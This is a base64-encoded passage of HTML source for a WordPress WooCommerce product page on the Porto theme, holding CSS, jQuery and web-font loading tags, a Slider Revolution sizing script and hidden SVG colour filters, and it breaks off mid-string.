ZSB7DQogICAgICAgICAgICBjb250ZW50OiAnJzsNCiAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTsNCiAgICAgICAgICAgIGxlZnQ6IC0uNWVtOw0KICAgICAgICAgICAgdG9wOiAtLjFlbTsNCiAgICAgICAgICAgIHJpZ2h0OiAtLjVlbTsNCiAgICAgICAgICAgIGJvdHRvbTogLS4xZW07DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMjIyNTI5Ow0KICAgICAgICAgICAgei1pbmRleDogLTE7DQogICAgICAgICAgICB0cmFuc2Zvcm06IHJvdGF0ZSgtMS41ZGVnKSBza2V3KDEuNWRlZykNCiAgICAgICAgfQ0KDQogICAgICAgIC5zaW5nbGUtcHJvZHVjdCAucHJvZHVjdF90aXRsZSB7DQogICAgICAgICAgICBmb250LWZhbWlseTogUG9wcGlucw0KICAgICAgICB9DQoNCiAgICAgICAgLnBvcnRvLXJlbGF0ZWQtcHJvZHVjdHMgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogbm9uZTsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAwDQogICAgICAgIH0NCg0KICAgICAgICAjY29udGVudC1ib3R0b20gKyAucG9ydG8tcmVsYXRlZC1wcm9kdWN0cyB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiAjZjRmNGY0Ow0KICAgICAgICAgICAgcGFkZGluZy10b3A6IDQwcHgNCiAgICAgICAgfQ0KDQogICAgICAgIC50eXBlLXByb2R1Y3QgPiAucG9ydG8tcmVsYXRlZC1wcm9kdWN0cyB7DQogICAgICAgICAgICBwYWRkaW5nLXRvcDogNDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLmZvb3Rlci10b3Agew0KICAgICAgICAgICAgcGFkZGluZzogMA0KICAgICAgICB9DQoNCiAgICAgICAgLmZvb3Rlci10b3AgLnBvcnRvLWJsb2NrIHsNCiAgICAgICAgICAgIGJvcmRlci13aWR0aDogMXB4IDA7DQogICAgICAgICAgICBib3JkZXItc3R5bGU6IHNvbGlkOw0KICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiAjZTdlN2U3DQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC53aWRnZXQtdGl0bGUgew0KICAgICAgICAgICAgZm9udC1zaXplOiAxNXB4Ow0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMA0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuc2hhcmUtbGlua3MgYSB7DQogICAgICAgICAgICBib3gtc2hhZG93OiBub25lOw0KICAgICAgICAgICAgZm9udC1zaXplOiAxNHB4Ow0KICAgICAgICAgICAgd2lkdGg6IDM2cHg7DQogICAgICAgICAgICBoZWlnaHQ6IDM2cHg7DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAxOHB4DQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5jb250YWN0LWluZm8gaSB7DQogICAgICAgICAgICBkaXNwbGF5OiBub25lDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5jb250YWN0LWluZm8gLmNvbnRhY3QtZGV0YWlscyBzdHJvbmcsICNmb290ZXIgLmNvbnRhY3QtaW5mbyAuY29udGFjdC1kZXRhaWxzIHNwYW4gew0KICAgICAgICAgICAgcGFkZGluZzogMA0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuY29udGFjdC1pbmZvIC5jb250YWN0LWRldGFpbHMgc3Ryb25nIHsNCiAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7DQogICAgICAgICAgICBsaW5lLWhlaWdodDogMQ0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuZm9vdGVyLW1haW4gPiAuY29udGFpbmVyIHsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAyLjI1cmVtOw0KICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDANCiAgICAgICAgfQ0KDQogICAgICAgICNmb290ZXIgLmZvb3Rlci1tYWluID4gLmNvbnRhaW5lcjphZnRlciB7DQogICAgICAgICAgICBjb250ZW50OiAnJzsNCiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOw0KICAgICAgICAgICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNlN2U3ZTcNCiAgICAgICAgfQ0KDQogICAgICAgICNmb290ZXIgLndpZGdldF93eXNpamFfY29udCAud3lzaWphLWlucHV0IHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmNGY0ZjQ7DQogICAgICAgICAgICBmb250LXNpemU6IC44MTI1cmVtOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMnJlbSAwIDAgMnJlbTsNCiAgICAgICAgICAgIHBhZGRpbmctbGVmdDogMS4yNXJlbQ0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAud2lkZ2V0X3d5c2lqYV9jb250IC53eXNpamEtc3VibWl0IHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogLjgxMjVyZW07DQogICAgICAgICAgICBmb250LXdlaWdodDogNzAwOw0KICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDAgMnJlbSAycmVtIDA7DQogICAgICAgICAgICBwYWRkaW5nOiAwIDEuNXJlbQ0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuZm9vdGVyLWJvdHRvbSB7DQogICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogM3JlbTsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMTJweA0KICAgICAgICB9DQogICAgPC9zdHlsZT4NCiAgICA8c2NyaXB0IHNyYz0nL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS9qcXVlcnkubWluLmpzP3Zlcj0zLjYuMScgaWQ9J2pxdWVyeS1jb3JlLWpzJz48L3NjcmlwdD4NCiAgICA8c2NyaXB0IHNyYz0nL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS9qcXVlcnktbWlncmF0ZS5taW4uanM/dmVyPTMuMy4yJyBpZD0nanF1ZXJ5LW1pZ3JhdGUtanMnPjwvc2NyaXB0Pg0KDQogICAgPCEtLSBIdWJTcG90IFdvcmRQcmVzcyBQbHVnaW4gdjEwLjAuMTk6IGVtYmVkIEpTIGRpc2FibGVkIGFzIGEgcG9ydGFsSWQgaGFzIG5vdCB5ZXQgYmVlbiBjb25maWd1cmVkIC0tPg0KICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCiAgICAgICAgV2ViRm9udENvbmZpZyA9IHsNCiAgICAgICAgICAgIGdvb2dsZToge2ZhbWlsaWVzOiBbJ1BvcHBpbnM6NDAwLDUwMCw2MDAsNzAwLDgwMCcsICdQbGF5ZmFpcitEaXNwbGF5OjQwMCw3MDAnXX0NCiAgICAgICAgfTsNCiAgICAgICAgKGZ1bmN0aW9uIChkKSB7DQogICAgICAgICAgICB2YXIgd2YgPSBkLmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpLCBzID0gZC5zY3JpcHRzW2Quc2NyaXB0cy5sZW5ndGggLSAxXTsNCiAgICAgICAgICAgIHdmLnNyYyA9ICd7e3ByZWZpeH19L3dwLWNvbnRlbnQvdGhlbWVzL3BvcnRvL2pzL2xpYnMvd2ViZm9udC5qcyc7DQogICAgICAgICAgICB3Zi5hc3luYyA9IHRydWU7DQogICAgICAgICAgICBzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKHdmLCBzKTsNCiAgICAgICAgfSkoZG9jdW1lbnQpOzwvc2NyaXB0Pg0KICAgIDxub3NjcmlwdD4NCiAgICAgICAgPHN0eWxlPi53b29jb21tZXJjZS1wcm9kdWN0LWdhbGxlcnkgew0KICAgICAgICAgICAgb3BhY2l0eTogMSAhaW1wb3J0YW50Ow0KICAgICAgICB9PC9zdHlsZT4NCiAgICA8L25vc2NyaXB0Pg0KICAgIDxtZXRhIG5hbWU9ImdlbmVyYXRvciINCiAgICAgICAgICBjb250ZW50PSJQb3dlcmVkIGJ5IFNsaWRlciBSZXZvbHV0aW9uIDYuNS4yMCAtIHJlc3BvbnNpdmUsIE1vYmlsZS1GcmllbmRseSBTbGlkZXIgUGx1Z2luIGZvciBXb3JkUHJlc3Mgd2l0aCBjb21mb3J0YWJsZSBkcmFnIGFuZCBkcm9wIGludGVyZmFjZS4iLz4NCiAgICA8c2NyaXB0PmZ1bmN0aW9uIHNldFJFVlN0YXJ0U2l6ZShlKSB7DQogICAgICAgIC8vd2luZG93LnJlcXVlc3RBbmltYXRpb25GcmFtZShmdW5jdGlvbigpIHsNCiAgICAgICAgd2luZG93LlJTSVcgPSB3aW5kb3cuUlNJVyA9PT0gdW5kZWZpbmVkID8gd2luZG93LmlubmVyV2lkdGggOiB3aW5kb3cuUlNJVzsNCiAgICAgICAgd2luZG93LlJTSUggPSB3aW5kb3cuUlNJSCA9PT0gdW5kZWZpbmVkID8gd2luZG93LmlubmVySGVpZ2h0IDogd2luZG93LlJTSUg7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICB2YXIgcHcgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChlLmMpLnBhcmVudE5vZGUub2Zmc2V0V2lkdGgsDQogICAgICAgICAgICAgICAgbmV3aDsNCiAgICAgICAgICAgIHB3ID0gcHcgPT09IDAgfHwgaXNOYU4ocHcpID8gd2luZG93LlJTSVcgOiBwdzsNCiAgICAgICAgICAgIGUudGFidyA9IGUudGFidyA9PT0gdW5kZWZpbmVkID8gMCA6IHBhcnNlSW50KGUudGFidyk7DQogICAgICAgICAgICBlLnRodW1idyA9IGUudGh1bWJ3ID09PSB1bmRlZmluZWQgPyAwIDogcGFyc2VJbnQoZS50aHVtYncpOw0KICAgICAgICAgICAgZS50YWJoID0gZS50YWJoID09PSB1bmRlZmluZWQgPyAwIDogcGFyc2VJbnQoZS50YWJoKTsNCiAgICAgICAgICAgIGUudGh1bWJoID0gZS50aHVtYmggPT09IHVuZGVmaW5lZCA/IDAgOiBwYXJzZUludChlLnRodW1iaCk7DQogICAgICAgICAgICBlLnRhYmhpZGUgPSBlLnRhYmhpZGUgPT09IHVuZGVmaW5lZCA/IDAgOiBwYXJzZUludChlLnRhYmhpZGUpOw0KICAgICAgICAgICAgZS50aHVtYmhpZGUgPSBlLnRodW1iaGlkZSA9PT0gdW5kZWZpbmVkID8gMCA6IHBhcnNlSW50KGUudGh1bWJoaWRlKTsNCiAgICAgICAgICAgIGUubWggPSBlLm1oID09PSB1bmRlZmluZWQgfHwgZS5taCA9PSAiIiB8fCBlLm1oID09PSAiYXV0byIgPyAwIDogcGFyc2VJbnQoZS5taCwgMCk7DQogICAgICAgICAgICBpZiAoZS5sYXlvdXQgPT09ICJmdWxsc2NyZWVuIiB8fCBlLmwgPT09ICJmdWxsc2NyZWVuIikNCiAgICAgICAgICAgICAgICBuZXdoID0gTWF0aC5tYXgoZS5taCwgd2luZG93LlJTSUgpOw0KICAgICAgICAgICAgZWxzZSB7DQogICAgICAgICAgICAgICAgZS5ndyA9IEFycmF5LmlzQXJyYXkoZS5ndykgPyBlLmd3IDogW2UuZ3ddOw0KICAgICAgICAgICAgICAgIGZvciAodmFyIGkgaW4gZS5ybCkgaWYgKGUuZ3dbaV0gPT09IHVuZGVmaW5lZCB8fCBlLmd3W2ldID09PSAwKSBlLmd3W2ldID0gZS5nd1tpIC0gMV07DQogICAgICAgICAgICAgICAgZS5naCA9IGUuZWwgPT09IHVuZGVmaW5lZCB8fCBlLmVsID09PSAiIiB8fCAoQXJyYXkuaXNBcnJheShlLmVsKSAmJiBlLmVsLmxlbmd0aCA9PSAwKSA/IGUuZ2ggOiBlLmVsOw0KICAgICAgICAgICAgICAgIGUuZ2ggPSBBcnJheS5pc0FycmF5KGUuZ2gpID8gZS5naCA6IFtlLmdoXTsNCiAgICAgICAgICAgICAgICBmb3IgKHZhciBpIGluIGUucmwpIGlmIChlLmdoW2ldID09PSB1bmRlZmluZWQgfHwgZS5naFtpXSA9PT0gMCkgZS5naFtpXSA9IGUuZ2hbaSAtIDFdOw0KDQogICAgICAgICAgICAgICAgdmFyIG5sID0gbmV3IEFycmF5KGUucmwubGVuZ3RoKSwNCiAgICAgICAgICAgICAgICAgICAgaXggPSAwLA0KICAgICAgICAgICAgICAgICAgICBzbDsNCiAgICAgICAgICAgICAgICBlLnRhYncgPSBlLnRhYmhpZGUgPj0gcHcgPyAwIDogZS50YWJ3Ow0KICAgICAgICAgICAgICAgIGUudGh1bWJ3ID0gZS50aHVtYmhpZGUgPj0gcHcgPyAwIDogZS50aHVtYnc7DQogICAgICAgICAgICAgICAgZS50YWJoID0gZS50YWJoaWRlID49IHB3ID8gMCA6IGUudGFiaDsNCiAgICAgICAgICAgICAgICBlLnRodW1iaCA9IGUudGh1bWJoaWRlID49IHB3ID8gMCA6IGUudGh1bWJoOw0KICAgICAgICAgICAgICAgIGZvciAodmFyIGkgaW4gZS5ybCkgbmxbaV0gPSBlLnJsW2ldIDwgd2luZG93LlJTSVcgPyAwIDogZS5ybFtpXTsNCiAgICAgICAgICAgICAgICBzbCA9IG5sWzBdOw0KICAgICAgICAgICAgICAgIGZvciAodmFyIGkgaW4gbmwpIGlmIChzbCA+IG5sW2ldICYmIG5sW2ldID4gMCkgew0KICAgICAgICAgICAgICAgICAgICBzbCA9IG5sW2ldOw0KICAgICAgICAgICAgICAgICAgICBpeCA9IGk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHZhciBtID0gcHcgPiAoZS5nd1tpeF0gKyBlLnRhYncgKyBlLnRodW1idykgPyAxIDogKHB3IC0gKGUudGFidyArIGUudGh1bWJ3KSkgLyAoZS5nd1tpeF0pOw0KICAgICAgICAgICAgICAgIG5ld2ggPSAoZS5naFtpeF0gKiBtKSArIChlLnRhYmggKyBlLnRodW1iaCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICB2YXIgZWwgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChlLmMpOw0KICAgICAgICAgICAgaWYgKGVsICE9PSBudWxsICYmIGVsKSBlbC5zdHlsZS5oZWlnaHQgPSBuZXdoICsgInB4IjsNCiAgICAgICAgICAgIGVsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoZS5jICsgIl93cmFwcGVyIik7DQogICAgICAgICAgICBpZiAoZWwgIT09IG51bGwgJiYgZWwpIHsNCiAgICAgICAgICAgICAgICBlbC5zdHlsZS5oZWlnaHQgPSBuZXdoICsgInB4IjsNCiAgICAgICAgICAgICAgICBlbC5zdHlsZS5kaXNwbGF5ID0gImJsb2NrIjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBjYXRjaCAoZSkgew0KICAgICAgICAgICAgY29uc29sZS5sb2coIkZhaWx1cmUgYXQgUHJlc2l6ZSBvZiBTbGlkZXI6IiArIGUpDQogICAgICAgIH0NCiAgICAgICAgLy99KTsNCiAgICB9Ozwvc2NyaXB0Pg0KPC9oZWFkPg0KPGJvZHkgY2xhc3M9InByb2R1Y3QtdGVtcGxhdGUtZGVmYXVsdCBzaW5nbGUgc2luZ2xlLXByb2R1Y3QgcG9zdGlkLTE1NTc2NjA3ODU0MyB3cC1lbWJlZC1yZXNwb25zaXZlIHRoZW1lLXBvcnRvIHdvb2NvbW1lcmNlIHdvb2NvbW1lcmNlLXBhZ2Ugd29vY29tbWVyY2Utbm8tanMgbG9naW4tcG9wdXAgd2lkZSBibG9nLTEgYm9keS1zaWRlIGVsZW1lbnRvci1kZWZhdWx0IGVsZW1lbnRvci1raXQtMjE1MiI+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtZGFyay1ncmF5c2NhbGUiPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAwLjQ5ODAzOTIxNTY4NjI3Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuNDk4MDM5MjE1Njg2MjciLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC40OTgwMzkyMTU2ODYyNyIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtZ3JheXNjYWxlIj4NCiAgICAgICAgICAgIDxmZUNvbG9yTWF0cml4IGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiIgdHlwZT0ibWF0cml4Ig0KICAgICAgICAgICAgICAgICAgICAgICAgICAgdmFsdWVzPSIgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwICIvPg0KICAgICAgICAgICAgPGZlQ29tcG9uZW50VHJhbnNmZXIgY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIj4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jUiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNHIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQSB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjEgMSIvPg0KICAgICAgICAgICAgPC9mZUNvbXBvbmVudFRyYW5zZmVyPg0KICAgICAgICAgICAgPGZlQ29tcG9zaXRlIGluMj0iU291cmNlR3JhcGhpYyIgb3BlcmF0b3I9ImluIi8+DQogICAgICAgIDwvZmlsdGVyPg0KICAgIDwvZGVmcz4NCjwvc3ZnPg0KPHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAwIDAiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiIGZvY3VzYWJsZT0iZmFsc2UiIHJvbGU9Im5vbmUiDQogICAgIHN0eWxlPSJ2aXNpYmlsaXR5OiBoaWRkZW47IHBvc2l0aW9uOiBhYnNvbHV0ZTsgbGVmdDogLTk5OTlweDsgb3ZlcmZsb3c6IGhpZGRlbjsiPg0KICAgIDxkZWZzPg0KICAgICAgICA8ZmlsdGVyIGlkPSJ3cC1kdW90b25lLXB1cnBsZS15ZWxsb3ciPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC41NDkwMTk2MDc4NDMxNCAwLjk4ODIzNTI5NDExNzY1Ii8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNzE3NjQ3MDU4ODIzNTMgMC4yNTQ5MDE5NjA3ODQzMSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNBIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMSAxIi8+DQogICAgICAgICAgICA8L2ZlQ29tcG9uZW50VHJhbnNmZXI+DQogICAgICAgICAgICA8ZmVDb21wb3NpdGUgaW4yPSJTb3VyY2VHcmFwaGljIiBvcGVyYXRvcj0iaW4iLz4NCiAgICAgICAgPC9maWx0ZXI+DQogICAgPC9kZWZzPg0KPC9zdmc+DQo8c3ZnIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgdmlld0JveD0iMCAwIDAgMCIgd2lkdGg9IjAiIGhlaWdodD0iMCIgZm9jdXNhYmxlPSJmYWxzZSIgcm9sZT0ibm9uZSINCiAgICAgc3R5bGU9InZpc2liaWxpdHk6IGhpZGRlbjsgcG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtOTk5OXB4OyBvdmVyZmxvdzogaGlkZGVuOyI+DQogICAgPGRlZnM+DQogICAgICAgIDxmaWx0ZXIgaWQ9IndwLWR1b3RvbmUtYmx1ZS1yZWQiPg0KICAgICAgICAgICAgPGZlQ29sb3JNYXRyaXggY29sb3ItaW50ZXJwb2xhdGlvbi1maWx0ZXJzPSJzUkdCIiB0eXBlPSJtYXRyaXgiDQogICAgICAgICAgICAgICAgICAgICAgICAgICB2YWx1ZXM9IiAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgIi8+DQogICAgICAgICAgICA8ZmVDb21wb25lbnRUcmFuc2ZlciBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNSIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0cgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAuMjc4NDMxMzcyNTQ5MDIiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jQiB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAuNTkyMTU2ODYyNzQ1MSAwLjI3ODQzMTM3MjU0OTAyIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1taWRuaWdodCI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwIDAiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC42NDcwNTg4MjM1Mjk0MSIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMCAxIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMCAwIiB3aWR0aD0iMCIgaGVpZ2h0PSIwIiBmb2N1c2FibGU9ImZhbHNlIiByb2xlPSJub25lIg0KICAgICBzdHlsZT0idmlzaWJpbGl0eTogaGlkZGVuOyBwb3NpdGlvbjogYWJzb2x1dGU7IGxlZnQ6IC05OTk5cHg7IG92ZXJmbG93OiBoaWRkZW47Ij4NCiAgICA8ZGVmcz4NCiAgICAgICAgPGZpbHRlciBpZD0id3AtZHVvdG9uZS1tYWdlbnRhLXllbGxvdyI+DQogICAgICAgICAgICA8ZmVDb2xvck1hdHJpeCBjb2xvci1pbnRlcnBvbGF0aW9uLWZpbHRlcnM9InNSR0IiIHR5cGU9Im1hdHJpeCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgIHZhbHVlcz0iIC4yOTkgLjU4NyAuMTE0IDAgMCAuMjk5IC41ODcgLjExNCAwIDAgLjI5OSAuNTg3IC4xMTQgMCAwIC4yOTkgLjU4NyAuMTE0IDAgMCAiLz4NCiAgICAgICAgICAgIDxmZUNvbXBvbmVudFRyYW5zZmVyIGNvbG9yLWludGVycG9sYXRpb24tZmlsdGVycz0ic1JHQiI+DQogICAgICAgICAgICAgICAgPGZlRnVuY1IgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIwLjc4MDM5MjE1Njg2Mjc1IDEiLz4NCiAgICAgICAgICAgICAgICA8ZmVGdW5jRyB0eXBlPSJ0YWJsZSIgdGFibGVWYWx1ZXM9IjAgMC45NDkwMTk2MDc4NDMxNCIvPg0KICAgICAgICAgICAgICAgIDxmZUZ1bmNCIHR5cGU9InRhYmxlIiB0YWJsZVZhbHVlcz0iMC4zNTI5NDExNzY0NzA1OSAwLjQ3MDU4ODIzNTI5NDEyIi8+DQogICAgICAgICAgICAgICAgPGZlRnVuY0EgdHlwZT0idGFibGUiIHRhYmxlVmFsdWVzPSIxIDEiLz4NCiAgICAgICAgICAgIDwvZmVDb21wb25lbnRUcmFuc2Zlcj4NCiAgICAgICAgICAgIDxmZUNvbXBvc2l0ZSBpbjI9IlNvdXJjZUdyYXBoaWMiIG9wZXJhdG9yPSJpbiIvPg0KICAgICAgICA8L2ZpbHRlcj4NCiAgICA8L2RlZnM+DQo8L3N2Zz4NCjxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIw